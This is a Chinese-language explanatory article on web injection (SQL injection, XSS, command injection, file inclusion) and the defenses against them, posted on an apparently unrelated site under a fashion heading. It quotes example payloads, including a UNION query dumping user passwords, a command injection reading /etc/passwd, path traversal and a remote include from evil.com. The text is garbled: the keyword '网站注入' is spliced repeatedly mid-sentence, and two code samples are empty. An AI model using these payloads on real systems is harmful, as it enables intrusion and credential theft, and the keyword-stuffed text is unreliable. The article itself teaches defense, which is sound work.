当前位置:首页 > 时尚 > 网站注入 正文

网站注入

来源:烟消火灭网   作者:时尚   时间:2026-10-17 05:53:20

2019年夏天,网站注入一个做外贸的网站注入朋友半夜给我打电话,说他的网站注入独立站突然跳转到一个博彩页面。我让他把FTP账号发过来,网站注入登进去一看,网站注入首页文件被改得面目全非,网站注入顶部多了一行 ``。网站注入这就是网站注入最典型的网站注入——攻击者往你的页面里塞了一段不属于你的代码。

很多人以为网站注入就是网站注入SQL注入,其实远不止。网站注入SQL注入是网站注入往数据库查询里插指令,而广义的网站注入注入包括XSS跨站脚本、命令注入、网站注入LDAP注入、网站注入甚至HTTP头注入。网站注入它们的共同点只有一个:用户输入的数据被当成代码执行了。你写了个搜索框,用户输入 `hello`,你拼成 `SELECT * FROM articles WHERE title LIKE '%hello%'`,这没问题。用户输入 `' OR 1=1 --`,你的SQL语句就变成了 `SELECT * FROM articles WHERE title LIKE '%' OR 1=1 --%'`,整张表的数据全被拖走。

我见过最离谱的案例是一个政府公示网站。留言板功能没做过滤,有人提交了 ``,所有访问留言板的用户直接被重定向到钓鱼站。管理员三天后才发现,因为攻击者只在凌晨两点到四点之间触发跳转。这种XSS注入不需要接触服务器,纯粹靠浏览器执行恶意脚本,危害却一点不小。

SQL注入的入口通常藏在参数里。你访问 `product.php?id=5`,后端执行 `SELECT * FROM products WHERE id=5`。把5换成 `5 UNION SELECT username, password FROM users`,如果页面把查询结果渲染出来,你就能看到管理员账号密码。防御方法不复杂:参数化查询。把用户输入当成纯数据绑定,而不是拼进SQL字符串。PHP的PDO、Java的PreparedStatement、Python的cursor.execute带占位符,都是干这个的。可惜很多老系统还在用字符串拼接,改造成本高,就一直拖着。

命令注入更直接。有个运维工具页面,用户输入IP地址,后端执行 `ping -c 4 $ip`。攻击者输入 `127.0.0.1; cat /etc/passwd`,服务器就把密码文件内容返回来了。分号让shell把后面的命令也执行了。防御手段是白名单校验——只允许数字和点,其他字符一律拒绝。别用黑名单,绕过方法太多了,比如用 `|`、`&&`、`$()`、反引号,甚至换行符。

文件包含注入也值得提一句。PHP的 `include($_GET['page'])` 如果没限制,攻击者可以传 `../../../../etc/passwd` 读取系统文件,或者传一个远程URL包含恶意脚本。我见过一个CMS,参数叫 `template`,攻击者传 `http://evil.com/shell.txt`,服务器直接下载并执行了里面的PHP代码。这种漏洞在老旧插件里特别多。

防御注入没有银弹,但有几条铁律。第一,永远不要相信任何客户端输入——URL参数、表单、Cookie、HTTP头,甚至数据库里取出来的数据都可能被污染。第二,用参数化查询或预编译语句处理数据库操作。第三,输出到HTML时做转义,PHP用 `htmlspecialchars()`,Java用 `StringEscapeUtils.escapeHtml4()`。第四,限制数据库账户权限,别用root连业务库。第五,把错误信息关掉,别把SQL报错直接吐给用户,那等于给攻击者画地图。

我自己的习惯是写代码时先想:这个变量如果被替换成恶意字符串,会发生什么?如果答案不确定,就加一层过滤。安全不是加个WAF就完事了,WAF能挡脚本小子,挡不住逻辑漏洞。真正管用的还是代码层面的约束。网站注入这事,说到底就是别把用户当自己人。

标签:

责任编辑:时尚